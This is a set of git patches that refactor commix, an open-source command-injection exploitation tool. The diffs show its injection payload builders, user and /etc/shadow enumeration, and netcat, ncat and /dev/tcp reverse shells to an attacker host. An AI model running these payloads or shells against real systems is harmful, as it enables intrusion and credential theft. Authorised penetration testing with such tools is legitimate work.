if menu.options.hostname:
if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
- info_msg = "Fetching hostname."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().hostname_msg()
hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
reset()
if menu.options.current_user:
if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
- info_msg = "Fetching current user."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().current_user_msg()
current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
reset()
if menu.options.is_root or menu.options.is_admin:
if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
- info_msg = "Testing if current user has excessive privileges."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().check_privs_msg()
check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
reset()
if menu.options.sys_info:
if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
- info_msg = "Fetching the underlying operating system information."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().os_info_msg()
system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
reset()
if menu.options.users:
if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
- if settings.TARGET_OS == "win":
- info_msg = "Executing the 'net users' command "
- info_msg += "in order to enumerate users entries. "
- else:
- info_msg = "Fetching content of the file '" + settings.PASSWD_FILE
- info_msg += "' in order to enumerate users entries. "
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().print_users_msg()
system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
reset()
@@ -280,9 +263,7 @@ def reset():
check_option = "--passwords"
checks.unavailable_option(check_option)
else:
- info_msg = "Fetching content of the file '" + settings.SHADOW_FILE
- info_msg += "' in order to enumerate users password hashes. "
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().print_passes_msg()
system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
reset()
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
index 3a202c4fcb..62bfeacf5f 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
@@ -56,7 +56,7 @@ def delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespa
cmd = settings.WIN_DEL + OUTPUT_TEXTFILE
else:
settings.WEB_ROOT = ""
- cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + " " + settings.COMMENT
+ cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
"""
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py
index 536d27dcbe..a78aa9966e 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py
@@ -13,8 +13,9 @@
For more see the file 'readme/COPYING' for copying permission.
"""
-from src.thirdparty.six.moves import urllib as _urllib
from src.utils import settings
+from src.core.injections.controller import checks
+from src.thirdparty.six.moves import urllib as _urllib
"""
The "tempfile-based" technique on Semiblind OS Command Injection.
@@ -29,7 +30,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method):
if separator == "||" :
pipe = "|"
payload = (pipe +
- "echo " + TAG + ">" + OUTPUT_TEXTFILE + " " + pipe + " "
+ "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + pipe + " "
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
"((Get-Content " + OUTPUT_TEXTFILE + ").length-1)\"')"
" do if %i==" +str(j) + " "
@@ -41,7 +42,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method):
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
- "echo " + TAG + ">" + OUTPUT_TEXTFILE + " " + ampersand + ""
+ "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + ampersand + ""
"for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none "
"((Get-Content " + OUTPUT_TEXTFILE + ").length-1)\"')"
" do if %i==" +str(j) + " "
@@ -52,7 +53,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method):
else:
if separator == ";" :
payload = (separator +
- "str=$(echo " + TAG + ">" + OUTPUT_TEXTFILE + ")" + separator +
+ "str=$(echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + ")" + separator +
"str=$(cat " + OUTPUT_TEXTFILE + ")" + separator +
# Find the length of the output.
"str1=$(expr length \"$str\")" + separator +
@@ -66,7 +67,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method):
elif separator == "%0a" :
#separator = "\n"
payload = (separator +
- "str=$(echo " + TAG + ">" + OUTPUT_TEXTFILE + ")" + separator +
+ "str=$(echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + ")" + separator +
"str=$(cat " + OUTPUT_TEXTFILE + ")" + separator +
# Find the length of the output.
"str1=$(expr length \"$str\")" + separator +
@@ -82,7 +83,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method):
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"sleep 0" + separator +
- "str=$(echo " + TAG + ">" + OUTPUT_TEXTFILE + ")" + separator +
+ "str=$(echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + ")" + separator +
"str=$(cat " + OUTPUT_TEXTFILE + ")" + separator +
"str1=$(expr length \"$str\")" + separator +
#"str1=${%23str} " + separator +
@@ -95,7 +96,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method):
elif separator == "||" :
pipe = "|"
payload = (pipe +
- "echo " + TAG + ">" + OUTPUT_TEXTFILE + pipe +
+ "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + pipe +
"[ " + str(j) + " -ne $(cat " + OUTPUT_TEXTFILE +
pipe + "tr -d '\\n'" +
pipe + "wc -c) ] " + separator +
@@ -115,7 +116,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque
if separator == "||" :
pipe = "|"
payload = (pipe + " "
- "echo " + TAG + ">" + OUTPUT_TEXTFILE + " " + pipe + " "
+ "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + pipe + " "
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" +str(j) + " "
@@ -126,7 +127,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
- "echo " + TAG + ">" + OUTPUT_TEXTFILE + " " + ampersand + ""
+ "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + ampersand + ""
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" +str(j) + " "
@@ -204,7 +205,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth
"for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
"\"') do @set /p =%i" +
- ">" + OUTPUT_TEXTFILE + "< nul" + pipe + " "
+ settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "< nul" + pipe + " "
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
"([string](Get-Content " + OUTPUT_TEXTFILE + ").length)\"')"
"do if %i==" +str(j) + " "
@@ -223,7 +224,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth
"for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
"\"') do @set /p =%i" +
- ">" + OUTPUT_TEXTFILE + "< nul" + ampersand + ""
+ settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "< nul" + ampersand + ""
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
"([string](Get-Content " + OUTPUT_TEXTFILE + ").length)\"')"
"do if %i==" +str(j) + " "
@@ -239,7 +240,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth
else:
if separator == ";" :
payload = (separator +
- "str=$(" + cmd + ">" + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator +
+ "str=$(" + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator +
"echo $str > " + OUTPUT_TEXTFILE + separator +
"str=$(cat " + OUTPUT_TEXTFILE + ")" + separator +
# Find the length of the output.
@@ -257,7 +258,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth
elif separator == "%0a" :
#separator = "\n"
payload = (separator +
- "str=$(" + cmd + ">" + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator +
+ "str=$(" + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator +
"echo $str > " + OUTPUT_TEXTFILE + separator +
"str=$(cat " + OUTPUT_TEXTFILE + ")" + separator +
# Find the length of the output.
@@ -277,8 +278,8 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"sleep 0 " + separator +
- "str=$(" + cmd + ">" + OUTPUT_TEXTFILE + separator + " tr -d '\\n'<" + OUTPUT_TEXTFILE + ")" + separator +
- "echo $str >" + OUTPUT_TEXTFILE + separator +
+ "str=$(" + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr -d '\\n'<" + OUTPUT_TEXTFILE + ")" + separator +
+ "echo $str" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator +
"str=$(cat " + OUTPUT_TEXTFILE + ")" + separator +
# Find the length of the output.
"str1=$(expr length \"$str\")" + separator +
@@ -287,15 +288,17 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth
"sleep " + str(timesec) + separator +
# Transform to ASCII
"str1=$(od -A n -t d1<" + OUTPUT_TEXTFILE + ")" + separator +
- "echo $str1 >" + OUTPUT_TEXTFILE
+ "echo $str1" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE
)
#if menu.options.data:
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
pipe = "|"
+ cmd = cmd.rstrip()
+ cmd = checks.add_command_substitution(cmd)
payload = (pipe +
- "echo $(" + cmd.rstrip() + ")>" + OUTPUT_TEXTFILE + pipe +
+ cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + pipe +
"[ " + str(j) + " -ne $(cat " + OUTPUT_TEXTFILE + pipe +
"tr -d '\\n'" + pipe + "wc -c) ]" + separator +
"sleep " + str(timesec)
@@ -317,7 +320,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_
"for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
"') do @set /p =%i" +
- ">" + OUTPUT_TEXTFILE + "< nul " + pipe + " "
+ settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "< nul " + pipe + " "
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" +str(j) + " "
@@ -331,7 +334,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_
"for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
"') do @set /p =%i" +
- ">" + OUTPUT_TEXTFILE + "< nul " + ampersand + ""
+ settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "< nul " + ampersand + ""
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" +str(j) + " "
diff --git a/src/core/main.py b/src/core/main.py
index cf38c43d40..da3e40fa67 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -511,10 +511,9 @@ def main(filename, url):
# Check for CGI scripts on url
checks.check_CGI_scripts(url)
# Modification on payload
- if not menu.options.shellshock:
- if not settings.USE_BACKTICKS:
- settings.SYS_USERS = "echo $(" + settings.SYS_USERS + ")"
- settings.SYS_PASSES = "echo $(" + settings.SYS_PASSES + ")"
+ # if not menu.options.shellshock and not settings.USE_BACKTICKS and not settings.MULTI_TARGETS:
+ # settings.SYS_USERS = checks.add_command_substitution(settings.SYS_USERS)
+ # settings.SYS_PASSES = checks.add_command_substitution(settings.SYS_PASSES)
# Check if defined "--file-upload" option.
if menu.options.file_upload:
checks.file_upload()
@@ -737,13 +736,13 @@ def main(filename, url):
while True:
message = "Please enter full target URL (-u) > "
menu.options.url = common.read_input(message, default=None, check_batch=True)
- if len(menu.options.url) == 0:
+ if menu.options.url is None or len(menu.options.url) == 0:
pass
else:
break
message = "Please enter POST data (--data) [Enter for none] > "
menu.options.data = common.read_input(message, default=None, check_batch=True)
- if len(menu.options.data) == 0:
+ if menu.options.data is not None and len(menu.options.data) == 0:
menu.options.data = False
# Seconds to delay between each HTTP request.
diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py
index 665a50f84b..c8fc468bea 100755
--- a/src/core/modules/shellshock/shellshock.py
+++ b/src/core/modules/shellshock/shellshock.py
@@ -80,8 +80,7 @@ def shellshock_exploitation(cve, cmd):
def enumeration(url, cve, check_header, filename):
_ = False
if menu.options.hostname:
- info_msg = "Fetching hostname."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().hostname_msg()
cmd = settings.HOSTNAME
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
if shell:
@@ -89,8 +88,7 @@ def enumeration(url, cve, check_header, filename):
settings.ENUMERATION_DONE = True
if menu.options.current_user:
- info_msg = "Fetching current user."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().current_user_msg()
cmd = settings.CURRENT_USER
cu_account, payload = cmd_exec(url, cmd, cve, check_header, filename)
if cu_account:
@@ -98,18 +96,17 @@ def enumeration(url, cve, check_header, filename):
settings.ENUMERATION_DONE = True
if menu.options.is_root:
- info_msg = "Testing if current user has excessive privileges."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().check_privs_msg()
cmd = re.findall(r"" + "\$(.*)", settings.IS_ROOT)
- cmd = ''.join(cmd).replace("(","").replace(")","")
+ cmd = ''.join(cmd)
+ cmd = checks.remove_parenthesis(cmd)
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
if shell:
checks.print_current_user_privs(shell, filename, _)
settings.ENUMERATION_DONE = True
if menu.options.sys_info:
- info_msg = "Fetching the underlying operating system information."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().os_info_msg()
cmd = settings.RECOGNISE_OS
target_os, payload = cmd_exec(url, cmd, cve, check_header, filename)
if target_os:
@@ -117,30 +114,28 @@ def enumeration(url, cve, check_header, filename):
cmd = settings.DISTRO_INFO
distro_name, payload = cmd_exec(url, cmd, cve, check_header, filename)
if len(distro_name) != 0:
- target_os = target_os + " " + distro_name
+ target_os = target_os + settings.SINGLE_WHITESPACE + distro_name
cmd = settings.RECOGNISE_HP
target_arch, payload = cmd_exec(url, cmd, cve, check_header, filename)
checks.print_os_info(target_os, target_arch, filename, _)
settings.ENUMERATION_DONE = True
if menu.options.users:
- cmd = settings.SYS_USERS
- info_msg = "Fetching content of the file '" + settings.PASSWD_FILE
- info_msg += "' in order to enumerate users entries. "
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().print_users_msg()
+ cmd = settings.SYS_USERS
+ cmd = checks.remove_command_substitution(cmd)
sys_users, payload = cmd_exec(url, cmd, cve, check_header, filename)
if sys_users:
checks.print_users(sys_users, filename, _)
settings.ENUMERATION_DONE = True
if menu.options.passwords:
- info_msg = "Fetching content of the file '" + settings.SHADOW_FILE
- info_msg += "' in order to enumerate users password hashes. "
- print(settings.print_info_msg(info_msg))
- cmd = settings.SYS_PASSES
+ checks.print_enumenation().print_passes_msg()
+ cmd = settings.SYS_PASSES
+ cmd = checks.remove_command_substitution(cmd)
sys_passes, payload = cmd_exec(url, cmd, cve, check_header, filename)
if sys_passes :
- checks.print_users(sys_users, filename, _)
+ checks.print_passes(sys_passes, filename, _)
settings.ENUMERATION_DONE = True
"""
@@ -301,7 +296,7 @@ def shellshock_handler(url, http_request_method, filename):
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
i = i + 1
- attack_vector = "echo" + " " + cve + ":Done;"
+ attack_vector = "echo" + settings.SINGLE_WHITESPACE + cve + ":Done;"
payload = shellshock_payloads(cve, attack_vector)
# Check if defined "--verbose" option.
@@ -367,7 +362,7 @@ def shellshock_handler(url, http_request_method, filename):
if settings.VERBOSITY_LEVEL != 0:
checks.total_of_requests()
- finding = check_header + " " + vuln_parameter
+ finding = check_header + settings.SINGLE_WHITESPACE + vuln_parameter
# Print the findings to terminal.
info_msg = finding + " appears to be injectable via " + technique + "."
if settings.VERBOSITY_LEVEL == 0:
@@ -415,15 +410,9 @@ def shellshock_handler(url, http_request_method, filename):
if menu.options.os_cmd:
cmd = menu.options.os_cmd
+ checks.print_enumenation().print_single_os_cmd_msg(cmd)
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
- info_msg = "Executing the user-supplied command: '" + cmd + "'."
- if shell:
- print(settings.print_info_msg(info_msg))
- _ = "'" + cmd + "' execution output"
- print(settings.print_retrieved_data(_, shell))
- else:
- err_msg = "The execution of '" + cmd + "' command does not return any output."
- print(settings.print_error_msg(err_msg))
+ checks.print_single_os_cmd(cmd, shell)
try:
# Pseudo-Terminal shell
diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py
index bf7553a717..e2555f21c1 100755
--- a/src/core/shells/reverse_tcp.py
+++ b/src/core/shells/reverse_tcp.py
@@ -265,11 +265,11 @@ def netcat_version(separator):
if nc_version != '4':
# Netcat with -e
- cmd = nc_alternative + " " + settings.LHOST + " " + settings.LPORT + " -e " + shell
+ cmd = nc_alternative + settings.SINGLE_WHITESPACE + settings.LHOST + settings.SINGLE_WHITESPACE + settings.LPORT + " -e " + shell
else:
# nc without -e
cmd = shell + " -c \"" + shell + " 0/tmp/f\""
return cmd
@@ -349,12 +349,12 @@ def other_reverse_shells(separator):
elif other_shell == '6':
tmp_file = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(5)])
other_shell = "echo \"/bin/sh 0>/dev/tcp/"+ settings.LHOST + "/" + settings.LPORT + \
- " 1>%260 2>%260\" > /tmp/" + tmp_file + " " + separator + " /bin/bash /tmp/" + tmp_file
+ " 1>%260 2>%260\" > /tmp/" + tmp_file + settings.SINGLE_WHITESPACE + separator + " /bin/bash /tmp/" + tmp_file
break
# Ncat-reverse-shell
elif other_shell == '7':
- other_shell = "ncat " + settings.LHOST + " " + settings.LPORT + " -e /bin/sh"
+ other_shell = "ncat " + settings.LHOST + settings.SINGLE_WHITESPACE + settings.LPORT + " -e /bin/sh"
break
# Windows Python-reverse-shell
@@ -557,7 +557,7 @@ def other_reverse_shells(separator):
unicorn_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '../../', 'thirdparty/unicorn'))
os.chdir(unicorn_path)
gen_payload_msg(payload)
- subprocess.Popen("python unicorn.py" + " " + str(payload) + " " + str(settings.LHOST) + " " + str(settings.LPORT) + ">/dev/null 2>&1", shell=True).wait()
+ subprocess.Popen("python unicorn.py" + settings.SINGLE_WHITESPACE + str(payload) + settings.SINGLE_WHITESPACE + str(settings.LHOST) + settings.SINGLE_WHITESPACE + str(settings.LPORT) + ">/dev/null 2>&1", shell=True).wait()
with open(output, 'r') as content_file:
other_shell = content_file.read().replace('\n', '')
other_shell = _urllib.parse.quote_plus(other_shell)
diff --git a/src/utils/common.py b/src/utils/common.py
index 7137f1ca01..e3417a89e3 100644
--- a/src/utils/common.py
+++ b/src/utils/common.py
@@ -162,7 +162,7 @@ def create_github_issue(err_msg, exc_msg):
err_msg = err_msg[err_msg.find("\n"):]
request = _urllib.request.Request(url="https://api.github.com/search/issues?q=" + \
- _urllib.parse.quote("repo:commixproject/commix" + " " + str(bug_report))
+ _urllib.parse.quote("repo:commixproject/commix" + settings.SINGLE_WHITESPACE + str(bug_report))
)
try:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index acca6bfab3..d281831f04 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "79"
+REVISION = "80"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -408,7 +408,6 @@ def sys_argv_errors():
MAXLEN = 10000
IS_TTY = True
-
# Maximum response total page size (trimmed if larger)
MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024
@@ -562,6 +561,8 @@ def sys_argv_errors():
SHADOW_FILE = "/etc/shadow"
SYS_PASSES = FILE_READ + SHADOW_FILE
+WIN_REPLACE_WHITESPACE = "-replace('\s+',' '))"
+
# Accepts 'YES','YE','Y','yes','ye','y'
CHOICE_YES = ['YES','YE','Y','yes','ye','y']
diff --git a/src/utils/simple_http_server.py b/src/utils/simple_http_server.py
index ad63e8dcbe..7bdb025297 100644
--- a/src/utils/simple_http_server.py
+++ b/src/utils/simple_http_server.py
@@ -95,7 +95,7 @@ def do_GET(self):
return
except Exception:
- error_response = settings.APPLICATION + " " + settings.VERSION + " (https://commixproject.com)"
+ error_response = settings.APPLICATION + settings.SINGLE_WHITESPACE + settings.VERSION + " (https://commixproject.com)"
self.wfile.write(error_response.encode())
def log_message(self, format, *args):
From 0424fa92e9fb146a0d05f6feb9c1a0692b6cf3a8 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 10 Jun 2022 08:34:20 +0300
Subject: [PATCH 157/560] Update README.md
---
README.md | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/README.md b/README.md
index 309a8ec79a..e149bd0b1f 100644
--- a/README.md
+++ b/README.md
@@ -13,7 +13,7 @@

-
+You can visit the [collection of screenshots](https://github.com/commixproject/commix/wiki/Screenshots) demonstrating some of the features on the wiki.
## Installation
@@ -23,7 +23,7 @@ You can download commix on any platform by cloning the official Git repository :
Alternatively, you can download the latest [tarball](https://github.com/commixproject/commix/tarball/master) or [zipball](https://github.com/commixproject/commix/zipball/master).
-*__Note:__ **[Python](http://www.python.org/download/)** (version **2.6**, **2.7** or **3.x**) is required for running commix.*
+*__Note:__ **[Python](http://www.python.org/download/)** (version **2.6**, **2.7** or **3.x**) is required for running commix.*
## Usage
From 4eade8e8956870d01c9d5ba8b426d245ccfdd6ca Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 13 Jun 2022 08:42:16 +0300
Subject: [PATCH 158/560] Minor update
---
.../blind/techniques/time_based/tb_handler.py | 15 ++----
.../techniques/time_based/tb_injector.py | 3 +-
src/core/injections/controller/checks.py | 53 +++++++------------
src/core/injections/controller/controller.py | 12 ++---
.../techniques/classic/cb_handler.py | 11 ++--
.../techniques/eval_based/eb_handler.py | 11 ++--
.../techniques/file_based/fb_handler.py | 14 ++---
.../techniques/file_based/fb_injector.py | 3 +-
.../techniques/tempfile_based/tfb_handler.py | 12 ++---
.../techniques/tempfile_based/tfb_injector.py | 2 +-
src/core/main.py | 3 +-
src/core/modules/shellshock/shellshock.py | 11 ++--
src/core/requests/authentication.py | 3 +-
src/core/requests/redirection.py | 3 +-
src/core/requests/requests.py | 9 ++--
src/core/shells/bind_tcp.py | 27 ++++------
src/core/shells/reverse_tcp.py | 33 ++++--------
src/utils/common.py | 17 +++++-
src/utils/crawler.py | 18 +++----
src/utils/install.py | 3 +-
src/utils/session_handler.py | 6 +--
src/utils/settings.py | 2 +-
src/utils/update.py | 6 +--
23 files changed, 105 insertions(+), 172 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py
index d32dfd9ba6..6ade57a197 100755
--- a/src/core/injections/blind/techniques/time_based/tb_handler.py
+++ b/src/core/injections/blind/techniques/time_based/tb_handler.py
@@ -225,8 +225,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
elif proceed_option.lower() == "q":
raise SystemExit()
else:
- err_msg = "'" + proceed_option + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(proceed_option)
pass
if settings.VERBOSITY_LEVEL == 0:
@@ -422,8 +421,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
elif enumerate_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + enumerate_again + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(enumerate_again)
pass
else:
if menu.enumeration_options():
@@ -444,8 +442,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
elif file_access_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + file_access_again + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(file_access_again)
pass
else:
if menu.file_access_options():
@@ -517,8 +514,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
raise SystemExit()
else:
- err_msg = "'" + gotshell + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(gotshell)
pass
# break
@@ -573,8 +569,7 @@ def exploitation(url, timesec, filename, http_request_method, url_time_response,
elif proceed_option.lower() == "q":
raise SystemExit()
else:
- err_msg = "'" + proceed_option + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(proceed_option)
pass
else:
if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) == False:
diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py
index da07a0d376..343f30de0b 100755
--- a/src/core/injections/blind/techniques/time_based/tb_injector.py
+++ b/src/core/injections/blind/techniques/time_based/tb_injector.py
@@ -23,6 +23,7 @@
from src.thirdparty.six.moves import urllib as _urllib
from src.utils import menu
from src.utils import settings
+from src.utils import common
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.requests import tor
from src.core.requests import proxy
@@ -522,6 +523,6 @@ def export_injection_results(cmd, separator, output, check_how_long):
else:
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
- err_msg = "The execution of '" + cmd + "' command does not return any output."
+ err_msg = common.invalid_cmd_output(cmd)
sys.stdout.write("\r" + settings.print_error_msg(err_msg))
# eof
\ No newline at end of file
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index c5bc7578e1..4319db5a8f 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -67,12 +67,10 @@ def mobile_user_agents():
elif mobile_user_agent.lower() == "q":
raise SystemExit()
else:
- err_msg = "'" + mobile_user_agent + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(mobile_user_agent)
pass
except ValueError:
- err_msg = "'" + mobile_user_agent + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(mobile_user_agent)
pass
"""
@@ -195,8 +193,7 @@ def not_declared_cookies(response):
elif set_cookies in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + set_cookies + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(set_cookies)
pass
except (KeyError, TypeError):
pass
@@ -260,8 +257,7 @@ def value_boundaries(value):
elif procced_option in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + procced_option + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(procced_option)
pass
return value
@@ -493,8 +489,7 @@ def next_attack_vector(technique, go_back):
elif next_attack_vector in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + next_attack_vector + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(next_attack_vector)
pass
"""
@@ -554,8 +549,7 @@ def procced_with_file_based_technique():
elif enable_fb in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + enable_fb + "' is not a valid answer."
